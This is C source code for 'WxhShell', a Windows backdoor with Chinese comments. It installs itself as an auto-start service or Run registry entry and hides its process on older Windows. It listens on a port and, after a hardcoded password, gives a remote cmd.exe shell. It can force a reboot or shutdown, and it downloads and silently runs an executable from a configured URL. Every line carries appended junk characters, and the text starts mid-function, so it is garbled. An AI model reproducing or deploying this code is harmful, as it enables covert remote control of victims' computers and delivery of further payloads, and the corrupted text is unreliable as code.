    if(Boot(SHUTDOWN)) .f?qUg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L*SSv wSL  
    else { vUodp#s  
    closesocket(wsh); 5kRwSOG%'  
    ExitThread(0); ~%8Q75tn.  
    } _k"&EW{ Ii  
    break; qCxD{-9x{  
    } % RBI\tj  
  // 获取shell 2f}K #i8   
  case 's': { )Yy#`t  
    CmdShell(wsh); ,_5YaX:<4  
    closesocket(wsh); ZmYSi$B  
    ExitThread(0); e$FAhwpon  
    break; n '0 $>Q  
  } 5pKvNLy.t  
  // 退出 Tvksf!ba  
  case 'x': { kL2Zr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  '!r+Tz  
    CloseIt(wsh); Jfixm=.6  
    break; } K hq  
    } \h'E5LO  
  // 离开 +cE tm  
  case 'q': { :DJ7d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -KU)7V  
    closesocket(wsh); 8R??J>h5\  
    WSACleanup(); avbr7X(  
    exit(1); S$kuhK>W!  
    break; 6iV"Tl{z-  
        } 9wYtOQ{g  
  } JtrDZ;^@  
  } c|!A?>O?i  
%M0mwty]  
  // 提示信息 4, *^QK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bN7UO  
} %t5BB$y  
  } 4 HJZ^bq9|  
+DbWMm  
  return; "o5gQTwb  
} 33,JUQ2u  
9,EaN{GM  
// shell模块句柄 yV+ E;  
int CmdShell(SOCKET sock) nTlv'_Y(  
{ &T|&D[@  
STARTUPINFO si; u8k{N  
ZeroMemory(&si,sizeof(si)); 5{d9,$%8&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,Dii?P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :(?hLH.W[  
PROCESS_INFORMATION ProcessInfo; 0Z) ;.l^  
char cmdline[]="cmd"; h,WY2Hr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +GPT:\*q6  
  return 0; ,;=( )-  
} <@AsCiQF  
,w b|?>Y  
// 自身启动模式 fj t_9-.  
int StartFromService(void) $ DZQdhv  
{ 1N$gE  
typedef struct ]Re~V{uh  
{ sG1]A:_<C  
  DWORD ExitStatus; ap$ tu3j  
  DWORD PebBaseAddress; YaJ{"'}  
  DWORD AffinityMask; x 1xj\O  
  DWORD BasePriority; $qUta< o2@  
  ULONG UniqueProcessId; @y\{<X.F\1  
  ULONG InheritedFromUniqueProcessId; vo( j@+dz  
}   PROCESS_BASIC_INFORMATION; }fZ =T4r  
kj3o1Y  
PROCNTQSIP NtQueryInformationProcess; y'2kV6TtqD  
M6hvi(!X2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vb"dX0)<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /4B4IT  
N7I71q|  
  HANDLE             hProcess; 1={Tcq\]  
  PROCESS_BASIC_INFORMATION pbi; 4(0t GF  
iZq@W3GL C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _l{ 5 'm  
  if(NULL == hInst ) return 0; R;TEtu7  
|gRgQGeB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -IE P?NX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @<TfA>*VJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X-N$+[#  
IL6f~!  
  if (!NtQueryInformationProcess) return 0; };|PFWs  
5 *pN<S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ks#Z~6+3  
  if(!hProcess) return 0; /jn3'q_,  
4@mXtA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; } @fu~V/  
M+R)P +  
  CloseHandle(hProcess); 6[h$r/GXh"  
f~"V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FvNSu"O~K1  
if(hProcess==NULL) return 0; v.LUK  
wAOVH].  
HMODULE hMod; nM.?Q}yO~  
char procName[255]; Nj-rZ%&  
unsigned long cbNeeded; B%g:Z  
Nb!6YY=Ez-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;7n*PBUJJ  
$t H.np  
  CloseHandle(hProcess); B?ob{K@  
>'TD?@sr  
if(strstr(procName,"services")) return 1; // 以服务启动 4d._Hd='  
6u, 0y$3  
  return 0; // 注册表启动 "QFADk1  
} AB &wn>q  
;{q) |GRF  
// 主模块 q>:&xR"ra  
int StartWxhshell(LPSTR lpCmdLine) Ee\-q  
{ )4_6\VaM  
  SOCKET wsl; .yfqS|(  
BOOL val=TRUE; <&0*5|rR  
  int port=0; Q%VR@[`\  
  struct sockaddr_in door; P"_}F  
L%O8vn^3  
  if(wscfg.ws_autoins) Install(); ?M-8Fp3 +  
^\kHEM|5v  
port=atoi(lpCmdLine); (`y|AOs  
y3[)zv  
if(port<=0) port=wscfg.ws_port; ;6 qdOD6  
*;yMD-=  
  WSADATA data; o4 g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "X(=  
7RFkHME  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I nK)O ';  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ww tQ>'R"  
  door.sin_family = AF_INET; XhD fI &  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *n_4Rr  
  door.sin_port = htons(port);  wY_-  
G{Enh<V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DD$P r&~=  
closesocket(wsl); 27 TZ+?  
return 1; )zt4'b\)v  
} RrpF i'R  
"sx&8H"  
  if(listen(wsl,2) == INVALID_SOCKET) { 9w<Bm"G  
closesocket(wsl); 1HWJxV"  
return 1; N_k6UA9  
} UR2)e{RXg  
  Wxhshell(wsl); A^@<+?  
  WSACleanup(); L.:QI<n  
_%TeTNY#  
return 0; EEZ2Gu6c  
b-zX3R;  
} / cen# pb  
to|9)\  
// 以NT服务方式启动 RZh)0S>J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NP'DuzC  
{ 4"(zi5`e  
DWORD   status = 0; Dj. +5f'  
  DWORD   specificError = 0xfffffff; "s<l Lgi  
b{>dOI*.}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7<o;3gR7Kj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &p4<@k\L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AX RNV  
  serviceStatus.dwWin32ExitCode     = 0; G5f57F  
  serviceStatus.dwServiceSpecificExitCode = 0; _:p_#3s$  
  serviceStatus.dwCheckPoint       = 0; V"jnrNs3  
  serviceStatus.dwWaitHint       = 0; s'Q^1oQM2h  
>b?)WNk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l{o{=]x1  
  if (hServiceStatusHandle==0) return; ykhCt\t[  
SY)$2RC+}  
status = GetLastError(); ld?.o/  
  if (status!=NO_ERROR) -fgKSJ7  
{ 32P]0&_O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gK\7^95  
    serviceStatus.dwCheckPoint       = 0; ZKPkx~,U[  
    serviceStatus.dwWaitHint       = 0; S)|b%mVwR  
    serviceStatus.dwWin32ExitCode     = status; 2I 7`  
    serviceStatus.dwServiceSpecificExitCode = specificError; u`@FA?+E1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NT/B4'_@  
    return; iX6jvnJ:/  
  } k\%v;3nBK  
<uwCP4E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .LR>&N_U  
  serviceStatus.dwCheckPoint       = 0; I'b]s~u  
  serviceStatus.dwWaitHint       = 0; ea>\.D-S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B&N&eRAE  
} T@Z{KV"S  
#de^~  
// 处理NT服务事件,比如:启动、停止 xumv I{  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  " 1Aus  
{ l8Qi^<i/  
switch(fdwControl) Y<fXuj|&  
{ g"? D>}@=  
case SERVICE_CONTROL_STOP: A_|FsQ6$P  
  serviceStatus.dwWin32ExitCode = 0; ta., 4R&K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n`Iy7X  
  serviceStatus.dwCheckPoint   = 0; 3*2pacHpE  
  serviceStatus.dwWaitHint     = 0; E}&jtMRUt  
  { }_;!E@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  yE,o~O  
  } r/L]uSN  
  return; @0'|Uygn  
case SERVICE_CONTROL_PAUSE: *7ro [  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?} tQaj  
  break; {K8T5zrV  
case SERVICE_CONTROL_CONTINUE: -V/i%_+Ze  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S\!E;p  
  break; 0*@S-Lj^c  
case SERVICE_CONTROL_INTERROGATE: D+""o"%  
  break; jloyJ@ck  
}; M[_I16s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BmX Gk  
} AB\4+ CLV  
n5>N9lc  
// 标准应用程序主函数 ZS_f',kE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @{lnfOESl  
{ ", )  
{?hjx+v[  
// 获取操作系统版本 0%+k>(@ R  
OsIsNt=GetOsVer(); r'\TS U5!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ".D +# 2Kl  
Q*(o;\s  
  // 从命令行安装 ? d\8Q't*  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ntiz-qW  
x)L@x Q  
  // 下载执行文件 IyP].g1"U  
if(wscfg.ws_downexe) { X&Lt?e,&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /Ql}jSKi  
  WinExec(wscfg.ws_filenam,SW_HIDE); =>*N W9c  
} )aSkUytg"  
epyfgg MT  
if(!OsIsNt) {  c @fc7  
// 如果时win9x,隐藏进程并且设置为注册表启动 j]&{ @Y  
HideProc(); G].KJ5,y  
StartWxhshell(lpCmdLine); ;D:T ^4  
} }*.*{I  
else _AYF'o-Cm  
  if(StartFromService()) >.\E'e5^C  
  // 以服务方式启动 PM7/fv*,  
  StartServiceCtrlDispatcher(DispatchTable); 9To6Rc;  
else "QS7?=>*F  
  // 普通方式启动 ||aU>Wj4  
  StartWxhshell(lpCmdLine); >,3 3Jx  
9lV'3UG-?  
return 0; 4PQWdPv;  
} 7!%"8Rl-  
f lB2gr^  
.SN]hLV5  
!&[4T#c  
=========================================== X2v'9 x  
z?,5v`,t2  
<b I,y_<K  
? Q}{&J  
VIzZmd  
EA.U>5Fq  
" &=bI3-  
2-84  
#include <stdio.h> |=s3a5sl  
#include <string.h> KK</5Aw9p  
#include <windows.h> MzD0F#Y  
#include <winsock2.h> $ 1U%E  
#include <winsvc.h> Ji q[VeLe  
#include <urlmon.h> <!^Z|E  
^ZG1  
#pragma comment (lib, "Ws2_32.lib") NY x4& *le  
#pragma comment (lib, "urlmon.lib") Lt_]3g o  
l1WVt}  
#define MAX_USER   100 // 最大客户端连接数 >kYyR.p.b  
#define BUF_SOCK   200 // sock buffer Je,8{J|e  
#define KEY_BUFF   255 // 输入 buffer 4NV1v&"  
S# #W_OlrI  
#define REBOOT     0   // 重启 fF%r$`2  
#define SHUTDOWN   1   // 关机 jQ*Qh  
o@. !Z8  
#define DEF_PORT   5000 // 监听端口 s8Oz^5p(  
e-mlvi^-  
#define REG_LEN     16   // 注册表键长度 fp0Va!T(V  
#define SVC_LEN     80   // NT服务名长度 1~ Nz6  
~\P.gSiz  
// 从dll定义API ^iNR(cwgX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uk,f}Xc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =xoTH3/,>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7|rT*-Ia  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1o%Hn"uG  
 t2iFd?  
// wxhshell配置信息 rtm28|0H'  
struct WSCFG { 4hIC&W~f  
  int ws_port;         // 监听端口 \m&:J >^  
  char ws_passstr[REG_LEN]; // 口令 r DuG["  
  int ws_autoins;       // 安装标记, 1=yes 0=no k"J?-1L  
  char ws_regname[REG_LEN]; // 注册表键名 zVu}7v()  
  char ws_svcname[REG_LEN]; // 服务名 OK=t)6&b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GF&"nW9A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o/R-1\Dn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wm 61  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s/V[tEC*z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t&_lpffv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^^#A9AM  
3$Je,|bs  
}; Vs >1%$If  
i ^#R iCeo  
// default Wxhshell configuration J$0*K+m  
struct WSCFG wscfg={DEF_PORT, ?W()Do1tR  
    "xuhuanlingzhe", GfDA5v[  
    1, ',f[y:v;  
    "Wxhshell", Sc&_6} K  
    "Wxhshell", *3|KbCX  
            "WxhShell Service", !SnpesTn  
    "Wrsky Windows CmdShell Service", 8Ex0[ e  
    "Please Input Your Password: ", bTj,5,8 i  
  1, eIJQ|p<v  
  "http://www.wrsky.com/wxhshell.exe", vJ!t.Vou  
  "Wxhshell.exe" R-ci?7dt3  
    }; C}CX n X  
R##O9BSI8Z  
// 消息定义模块 y03l_E,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HM/ q B^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;\h'A(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8g\.1<~  
char *msg_ws_ext="\n\rExit."; #]rw@c  
char *msg_ws_end="\n\rQuit."; Ab`Gb  
char *msg_ws_boot="\n\rReboot..."; #ed]zI9O  
char *msg_ws_poff="\n\rShutdown..."; l<5!R;?$  
char *msg_ws_down="\n\rSave to "; AWw'pgTQX  
Lxl?6wZ  
char *msg_ws_err="\n\rErr!"; (U)=t$=o  
char *msg_ws_ok="\n\rOK!"; XIU2l}g  
lG2){){j  
char ExeFile[MAX_PATH]; gb-n~m[y  
int nUser = 0; a`}-^;}SW  
HANDLE handles[MAX_USER]; !T}`h'  
int OsIsNt; pxgv(:Tw  
\C#Vh7z"2&  
SERVICE_STATUS       serviceStatus; 4_$f "6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AWw:N6\  
&f[[@EF7  
// 函数声明 ipsNiFv:  
int Install(void); /)~M cP3  
int Uninstall(void); bz1\EkLL  
int DownloadFile(char *sURL, SOCKET wsh); bkb}M)C  
int Boot(int flag); {+!_; zzZ  
void HideProc(void); 2l9_$evK~  
int GetOsVer(void); ^pn:SV  
int Wxhshell(SOCKET wsl); s:%>H|-  
void TalkWithClient(void *cs); NFQ0/iuW  
int CmdShell(SOCKET sock); l 1@:&j3h  
int StartFromService(void); FkH4|}1  
int StartWxhshell(LPSTR lpCmdLine); xaPTTa  
1*XqwBV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D`u{U]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ou/{PK}  
i+OyBDkJM!  
// 数据结构和表定义  A/9 wr  
SERVICE_TABLE_ENTRY DispatchTable[] = 7JbN WN  
{ $lvpBs  
{wscfg.ws_svcname, NTServiceMain}, 9vXrC_W9  
{NULL, NULL} , =#'?>Kq  
}; Ox58L>:0m  
EM"YjC)F  
// 自我安装 #6JG#!W  
int Install(void) /gxwp:&lY  
{ [K^RC;}nV^  
  char svExeFile[MAX_PATH]; 'INdZ8j_  
  HKEY key; cEe>Lyt  
  strcpy(svExeFile,ExeFile); !aLL|}S  
T7[ItLZ  
// 如果是win9x系统,修改注册表设为自启动 4]Krx m`8  
if(!OsIsNt) { $N~8 ^6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )F:hv[iv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TtHqdKL  
  RegCloseKey(key); o_?YYw-:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -q[?,h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7uYJ _R  
  RegCloseKey(key); 3iDRt&y=.  
  return 0; WO|#`HM2  
    } a4c~ThbI  
  } *edB3!!  
} ondF  
else { nP] ~8ViS  
'En6h"{  
// 如果是NT以上系统,安装为系统服务 7Kfh:0Ihhy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q~nc:eWD  
if (schSCManager!=0) =YR/|9(  
{ 9\V^q9l  
  SC_HANDLE schService = CreateService 1%H]2@  
  ( 8!1vsEqv  
  schSCManager, nT:ZSJWM  
  wscfg.ws_svcname, O0e6I&u :  
  wscfg.ws_svcdisp, SwLul4V  
  SERVICE_ALL_ACCESS, K"eW.$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QD<f) JZK  
  SERVICE_AUTO_START, H.*XoktC]  
  SERVICE_ERROR_NORMAL, _E3*;  
  svExeFile, *U8Pjb1  
  NULL, (,[Oy6o  
  NULL, sk 9*3d5I  
  NULL, LEG y1L  
  NULL, f Vw+8[d0  
  NULL $`mxOcBmQ  
  ); fs\l*nBig  
  if (schService!=0) g$~ktr+%  
  { LyH{{+V  
  CloseServiceHandle(schService); \It8+^d@  
  CloseServiceHandle(schSCManager); F8f@^LVM/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @a+1Ri`)  
  strcat(svExeFile,wscfg.ws_svcname); +g%kr~w=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I6~.sTl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); = oQ-I  
  RegCloseKey(key); Y`w+?}(M  
  return 0; _uID3N%  
    } *zJ}=%)f  
  } qy"#XbBeV  
  CloseServiceHandle(schSCManager); TN4gGky!  
} W-2,QVp%  
} ,F]Y,"x:  
YP/BX52 v  
return 1; 6Gwk*%sb  
} h,45-#+  
5$/ED3mcK  
// 自我卸载 ,,OO2EgZ`  
int Uninstall(void) pri=;I(2A  
{ -r7*C :E  
  HKEY key; K} LmU{/t/  
P-.>vi^+  
if(!OsIsNt) { 7' ]n_-fu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IOtSAf  
  RegDeleteValue(key,wscfg.ws_regname); '(r/@%=U  
  RegCloseKey(key); !K'j[cA^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1TJ2HO=Y  
  RegDeleteValue(key,wscfg.ws_regname); N[:;f^bH49  
  RegCloseKey(key); [2:Q.Zj  
  return 0; B|zJrz0q3  
  } r>+\9q1  
} kZfa8w L]P  
} A}W) La\  
else { !RN(/ &%y  
j#rjYiYKy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B agO0#  
if (schSCManager!=0) a"@k11  
{ UiO%y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ],V_"\ATD  
  if (schService!=0) iv*`.9TK-  
  { (R5n ND  
  if(DeleteService(schService)!=0) { @m[q0G}  
  CloseServiceHandle(schService); kaq H.e(  
  CloseServiceHandle(schSCManager); V i V3Y  
  return 0; dI};l  
  } V.?N29CA|  
  CloseServiceHandle(schService); |uf{:U)  
  } YMb\v4  
  CloseServiceHandle(schSCManager); >)\x\e  
} m^I+>Bp/:  
} F%M4i`Vh  
)RG@D\t,  
return 1; 0]p! Bscaf  
} 46OYOa  
I?r7dQEm  
// 从指定url下载文件 ]?tC+UKb  
int DownloadFile(char *sURL, SOCKET wsh) e=e^;K4  
{ O/ Yz6VQ  
  HRESULT hr; ^E{M[;sF3y  
char seps[]= "/"; bk^W]<:z`  
char *token; Z<jio  
char *file; QhR.8iS  
char myURL[MAX_PATH]; I6@98w}"  
char myFILE[MAX_PATH]; ;;;aM:6\  
IYAvO%~  
strcpy(myURL,sURL); <+o*"z\mI  
  token=strtok(myURL,seps); 1$mxMXNsJ  
  while(token!=NULL) 'Km ~3t  
  { 2^RWGCEv  
    file=token; ;r'y/ Y'?  
  token=strtok(NULL,seps); E0?R,+>&4  
  } 6:_@;/03%  
`< _A#@  
GetCurrentDirectory(MAX_PATH,myFILE); TkHyXOk"Ky  
strcat(myFILE, "\\"); _sLSl; /t  
strcat(myFILE, file); [&y="6No  
  send(wsh,myFILE,strlen(myFILE),0); z B/#[~  
send(wsh,"...",3,0); B6 rz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EC#4"bU`'2  
  if(hr==S_OK) ,6T F]6:  
return 0; c$fi3O  
else su:~X d  
return 1; WRIOjQ:  
]$Ud`<Xnx  
} yR}PC/>  
Y%$@ZYW  
// 系统电源模块 GY% ^!r  
int Boot(int flag) v|~&I%S7  
{ ygI81\ D  
  HANDLE hToken; rFn%e  
  TOKEN_PRIVILEGES tkp; Z8mSm[w  
DNTkv_S  
  if(OsIsNt) { pAK7V;sJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *S _[8L"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }MU}-6  
    tkp.PrivilegeCount = 1; 3X|7 R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j:k}6]p}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5~8FZ-x  
if(flag==REBOOT) { <=O/_Iu(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sVzU>  
  return 0; Hg[g{A_G[  
} NWL\"xp `t  
else { 4 H 4W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "!w$7|% T  
  return 0; ,^Ug[pGG-  
} ^ &UezDTS  
  } ppYIVI  
  else { \Dn47V{7-  
if(flag==REBOOT) { "p Rr>Fa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `3wzOMgJ  
  return 0; t?&@bs5~g  
} Xgb ~ED]  
else { d;:H#F+ (  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7tZvz `\  
  return 0; 1VXyn\  
} +,8j]<wpo  
} b\ P6,s'(  
yZHh@W4v  
return 1; NCu:E{([  
} cpY'::5.%  
0XgJCvMcB  
// win9x进程隐藏模块 +O]jklS4H  
void HideProc(void) J~jxmh  
{ $~^Y4 } m  
N"',  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nO;*Peob  
  if ( hKernel != NULL ) O\~/J/u <  
  { ^k#.;Q#4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }^b7x;O|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h eR$j  
    FreeLibrary(hKernel); ng0tNifZ;  
  } pYxdE|2j  
76'@}wNnw  
return; V?[dg^*0  
} aB $xQ|~  
mK Ta.  
// 获取操作系统版本 PQ0l<]Y  
int GetOsVer(void) ,V`zW<8  
{ [<0\v<{`L  
  OSVERSIONINFO winfo; \N|ma P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); # .j[iN :+  
  GetVersionEx(&winfo); JXhHitUD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jWUpzf)q=T  
  return 1; }piDg(D  
  else ^Fop/\E  
  return 0; GS*Mv{JJ  
} ,)svSzR  
]QqT.z%B  
// 客户端句柄模块 b'5]o  
int Wxhshell(SOCKET wsl) dRhsnT+KX  
{ j]6c_r3  
  SOCKET wsh; -O~ V4004  
  struct sockaddr_in client; 9y$"[d27;+  
  DWORD myID; L!>EW0  
HxE`"/~.7k  
  while(nUser<MAX_USER) RX"~m!26  
{ <w1# 3Mu'  
  int nSize=sizeof(client); +t8{aaV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pBR9)T\ n  
  if(wsh==INVALID_SOCKET) return 1; dv7IHUFf  
l<DpcLX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?7eD< |  
if(handles[nUser]==0) ;)c 4  
  closesocket(wsh); I k[{,p  
else ' K\ $B_  
  nUser++; ZC!GKW P2  
  } $~G=Hcl9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _yH=w'8.  
{y\5 9  
  return 0; _=g;K+%fb  
} #"PRsMUw  
=QG0:z)K<v  
// 关闭 socket {=Y3[  
void CloseIt(SOCKET wsh) 'P`L?/_3  
{ wI{ED  
closesocket(wsh); 6 @X j  
nUser--; <\6<-x(H5  
ExitThread(0); .29y3}[PO  
} tR{@NFUcu  
$LXz Q>w9  
// 客户端请求句柄 BIK^<_?+ZU  
void TalkWithClient(void *cs) lYq/ n&@_1  
{ lk[BS*  
iC`mj  
  SOCKET wsh=(SOCKET)cs; J;R1OJs S  
  char pwd[SVC_LEN]; '*d);{D8  
  char cmd[KEY_BUFF]; CHGV1X,  
char chr[1]; :}n\ r/i  
int i,j; 97L|IZ s)  
O9/7?"l"  
  while (nUser < MAX_USER) { ]ysEj3  
jWE?$r"  
if(wscfg.ws_passstr) { sfUKH;xC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oBpoZ @[Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I `I+7~t  
  //ZeroMemory(pwd,KEY_BUFF); $TK<~3`  
      i=0; ? 3'O  
  while(i<SVC_LEN) { W&'[Xj  
Up*.z\|'y  
  // 设置超时 MmL)CT  
  fd_set FdRead; z{uRq A G  
  struct timeval TimeOut; YB?5s`vr9d  
  FD_ZERO(&FdRead); up^D9(y\  
  FD_SET(wsh,&FdRead); S +mM S  
  TimeOut.tv_sec=8; P)k!#*  
  TimeOut.tv_usec=0; *y@Xm~ld  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sSdnH_;&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c 0/vB  
A])+Pe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (;(P3h  
  pwd=chr[0]; g=q1@)  
  if(chr[0]==0xd || chr[0]==0xa) {  ]$=\zL  
  pwd=0; gq`S`  
  break; 'G|M_ e  
  } BJ$\Mb##3@  
  i++; %@Ow.7zh  
    } +T,Yf/^Fn  
.kT}E5  
  // 如果是非法用户,关闭 socket K4`)srd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nS$_VJ]~  
} `(Eiu$h6V-  
{OBV+}#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ']'V?@H]4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $T-Pl57  
9cMQ51k)E  
while(1) { %+F%C=GqI  
Yfa`}hQ  
  ZeroMemory(cmd,KEY_BUFF); 8gK  <xp  
B*c@w~E  
      // 自动支持客户端 telnet标准   4eh~/o&h  
  j=0; W5c?f,  
  while(j<KEY_BUFF) { :IB@@5r1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O% }EpIP_  
  cmd[j]=chr[0]; qwd7vYBc,  
  if(chr[0]==0xa || chr[0]==0xd) { r}%2;!T  
  cmd[j]=0; hP$v,"$  
  break; xoQ;fVNp  
  } KO''B or  
  j++; J}M_Ka  
    } G-#]|)  
2]i>kV/,0  
  // 下载文件 :u4q.^&!e  
  if(strstr(cmd,"http://")) { a"Q>K7K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kx<T;iJ}  
  if(DownloadFile(cmd,wsh)) .r4M]1Of  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5k]xi)%  
  else eX0ASI9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1v2pPUH\  
  } ^U@-Dp,k+  
